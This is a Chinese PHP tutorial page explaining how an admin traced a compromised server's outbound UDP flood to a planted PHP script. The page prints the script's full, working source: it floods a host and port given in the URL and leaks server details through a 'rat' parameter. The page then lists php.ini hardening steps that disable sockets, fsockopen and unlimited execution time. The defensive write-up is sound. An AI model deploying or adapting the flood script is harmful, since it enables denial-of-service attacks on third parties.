phpddos攻击的解决办法（服务器发外网发送大量数据包)

首页

后端开发

php教程

phpddos攻击的解决办法（服务器发外网发送大量数据包)_PHP教程

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB

Jul 20, 2016 am 11:10 AM

办法包发送外网外部攻击数据服务器机器的突然自己的解决

今天自己的一台机器突然向外部发送大量数据包，可每秒到1G以上，虽然我用策略把UDP禁止包是发不出去但是很占cup啊，所以想到最后还是想办法解决了。

先看源码

代码如下

复制代码

set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER

['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }

for($i=0;$i $out .= "A";
}

$max_time = time()+$exec_time;

while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host：$host:$port

";
echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .

round($packets*$Sendlen/1024/1024, 2) . " mb

";
echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/

$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

关键代码在于

代码如下	复制代码
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单，向目标主机发送UDP包，在加上定义无限死循环，就会形成较大的压力。
这个压力是对于执行这个脚本的服务器来说的，因为它首先对自身的网宽、CPU等资源造成大量占用。
如果想用这个脚本对目标站点形成压力，需要在多个服务器上执行该脚本，DDOS嘛

既然是用fsockopen请求外部，那就不让他请求
php.ini里设置

代码如下	复制代码
allow_url_fopen = Off

如果这样他还是能发包

代码如下	复制代码
extension=php_sockets.dll 改成 ;extension=php_sockets.dll

重启APACHE、IIS、NGINX
这样就可以防止PHP DDOS发包了

另外有网友说

让脚本不允许设置为不超时很简单，1，把set_time_limit函数禁用，2，启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数，

建议，由于socket常用于发送邮件找回密码，因此建议开启直接开启安全模式，但是

这样的话，脚本每30秒超时一次，估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。

经验：这种问题一般是网站安全引起的，我们要注意网站的安全及服务器的安全，这样就不容易被入侵了，如果会用macofee的朋友，对网站进行限制一下就会更好一些。

声明

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn

PHP的当前状态：查看网络开发趋势Apr 13, 2025 am 12:20 AM

PHP在现代Web开发中仍然重要，尤其在内容管理和电子商务平台。1)PHP拥有丰富的生态系统和强大框架支持，如Laravel和Symfony。2)性能优化可通过OPcache和Nginx实现。3)PHP8.0引入JIT编译器，提升性能。4)云原生应用通过Docker和Kubernetes部署，提高灵活性和可扩展性。

PHP与其他语言：比较Apr 13, 2025 am 12:19 AM

PHP适合web开发，特别是在快速开发和处理动态内容方面表现出色，但不擅长数据科学和企业级应用。与Python相比，PHP在web开发中更具优势，但在数据科学领域不如Python；与Java相比，PHP在企业级应用中表现较差，但在web开发中更灵活；与JavaScript相比，PHP在后端开发中更简洁，但在前端开发中不如JavaScript。

PHP与Python：核心功能Apr 13, 2025 am 12:16 AM

PHP和Python各有优势，适合不同场景。1.PHP适用于web开发，提供内置web服务器和丰富函数库。2.Python适合数据科学和机器学习，语法简洁且有强大标准库。选择时应根据项目需求决定。

PHP：网络开发的关键语言Apr 13, 2025 am 12:08 AM

PHP是一种广泛应用于服务器端的脚本语言，特别适合web开发。1.PHP可以嵌入HTML，处理HTTP请求和响应，支持多种数据库。2.PHP用于生成动态网页内容，处理表单数据，访问数据库等，具有强大的社区支持和开源资源。3.PHP是解释型语言，执行过程包括词法分析、语法分析、编译和执行。4.PHP可以与MySQL结合用于用户注册系统等高级应用。5.调试PHP时，可使用error_reporting()和var_dump()等函数。6.优化PHP代码可通过缓存机制、优化数据库查询和使用内置函数。7